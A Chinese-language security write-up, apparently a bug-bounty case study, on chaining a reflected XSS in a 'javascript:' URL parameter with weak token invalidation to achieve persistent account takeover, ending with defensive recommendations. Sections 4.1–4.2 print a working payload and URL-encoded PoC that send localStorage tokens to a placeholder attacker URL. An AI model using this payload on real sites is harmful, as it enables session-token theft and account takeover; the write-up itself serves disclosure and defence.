传统XSS攻击引发持久型ATO漏洞技术研究

1. 研究背景与概述

本文研究了一种通过传统XSS(跨站脚本)攻击结合系统设计缺陷，最终导致持久型账户接管(ATO)漏洞的技术路径。该案例展示了看似低危的反射型XSS如何通过与系统架构缺陷的连锁反应，升级为高危的账户接管漏洞。

2. 目标应用分析

2.1 应用架构特点

• 前端使用Angular框架，默认对用户输入进行安全处理
• 采用"租户-公司"模型，用于公司内部客户管理
• 反馈门户功能，租户通过邀请客户填写表单获取反馈

2.2 安全机制分析

• 不使用传统的Cookie进行会话管理
• 依赖Authorization头部进行身份验证
• 使用Amazon Cognito进行用户管理
• 大量用户信息存储在localStorage中

3. 漏洞发现过程

3.1 初始XSS发现

• 发现URL格式存在注入点：https://REDACTED.com/redacted_url/url;url=http%3A%2F%2FREDACTED.com%3Aanother_redacted_url/
• 验证XSS有效：https://REDACTED.COM/redacted_url/url;url=javascript:alert%28document.domain%29

3.2 系统设计缺陷发现

1. 会话管理缺陷：

   • 注销操作仅在前端清除token，后端token仍有效
   • 多设备登录时，修改密码不会使其他设备token失效

2. 敏感信息存储：

   • 将idToken、refreshToken等敏感信息存储在localStorage
   • 包含用户身份信息(email、phone_number等)

3. 授权机制缺陷：

   • 依赖长期有效的token，缺乏及时失效机制

4. 漏洞利用技术

4.1 XSS攻击载荷设计

var xmlhttp = new XMLHttpRequest();
var theUrl = "attackers-url"; // 攻击者接收数据的地址
xmlhttp.open("POST", theUrl);
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({...localStorage}));
localStorage.clear();

4.2 最终攻击POC

URL编码后的攻击载荷：

https://REDACTED.com/redacted_url/url;url=javascript:%76%61%72%20%78%6d%6c%68%74%74%70%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%76%61%72%20%74%68%65%55%72%6c%20%3d%20%22%61%74%74%61%63%6b%65%72%73%2d%75%72%6c%22%3b%20%2f%2f%41%74%74%61%63%6b%65%72%20%73%74%65%61%6c%73%20%74%68%65%20%74%6f%6b%65%6e%73%20%6f%6e%20%74%68%69%73%20%61%64%64%72%65%73%73%78%6d%6c%68%74%74%70%2e%6f%70%65%6e%28%22%50%4f%53%54%22%2c%20%74%68%65%55%72%6c%29%3b%78%6d%6c%68%74%74%70%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6a%73%6f%6e%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%29%3b%78%6d%6c%68%74%74%70%2e%73%65%6e%64%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%7b%2e%2e%2e%6c%6f%63%61%6c%53%74%6f%72%61%67%65%7d%29%29%3b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%63%6c%65%61%72%28%29%3b

4.3 获取的敏感信息示例

{
  "kid": "o4Ub0oKqDSdJSEElK/nOF1sI79mjLrj0CFNP2fdobCU=",
  "alg": "RS256",
  "sub": "b7bd20bd-c855-4b79-995b-e99fb7f5b61e",
  "email_verified": true,
  "profile": "ROLE_TENANT_USER",
  "iss": "https://cognito-idp.eu-central-1.amazonaws.com/eu-central-1_REDACTED",
  "phone_number_verified": true,
  "cognito:username": "hkr0x01",
  "preferred_username": "81b619c0-ae28-11e8-9efe-c1f0f85d7f04",
  "given_name": "hkr",
  "middle_name": "lol",
  "aud": "69abj1tqnh40eeug2oju2qnaa7",
  "event_id": "3b836566-5dc8-11e9-8441-fd78254b71e5",
  "token_use": "id",
  "auth_time": 1555145042,
  "phone_number": "REDACTED",
  "exp": 1555150790,
  "iat": 1555147190,
  "family_name": "0x01",
  "email": "REDACTED"
}

5. 攻击影响分析

1. 持久性账户接管：

   • 获取refreshToken可生成新的授权token
   • 即使原token过期，攻击者仍可维持访问权限

2. 敏感信息泄露：

   • 获取用户完整身份信息(email、电话等)
   • 可能获取其他系统访问权限(SSO风险)

3. 隐蔽性强：

   • 清除localStorage使受害者误以为已注销
   • 无异常提示，难以察觉

6. 防御建议

6.1 针对XSS的防御

• 严格过滤URL参数中的JavaScript代码
• 实施内容安全策略(CSP)
• 对动态生成的URL进行严格验证

6.2 会话管理改进

• 实现真正的服务器端会话失效
• 修改密码时使所有设备token失效
• 设置合理的token过期时间

6.3 敏感信息存储

• 避免在localStorage存储敏感信息
• 使用HttpOnly、Secure标记的Cookie
• 考虑使用sessionStorage替代localStorage

6.4 监控与响应

• 监控异常token使用行为
• 实现token撤销机制
• 记录并分析可疑的账户活动

7. 研究启示

1. 漏洞链思维：

   • 单一漏洞评估可能低估实际风险
   • 需要分析漏洞在系统上下文中的潜在影响

2. 安全设计原则：

   • 纵深防御：不依赖单一安全机制
   • 最小权限原则：限制token权限范围

3. 协作研究价值：

   • 多人协作可发现更复杂的攻击路径
   • 不同视角有助于全面评估风险

4. 安全测试方法论：

   • 不仅要发现漏洞，还要理解系统工作原理
   • 功能与安全需同步考虑，避免"安全功能"成为攻击面

本案例展示了现代Web应用中，前端安全机制与后端身份验证系统交互过程中可能产生的复杂漏洞场景，强调了全面安全评估和纵深防御的重要性。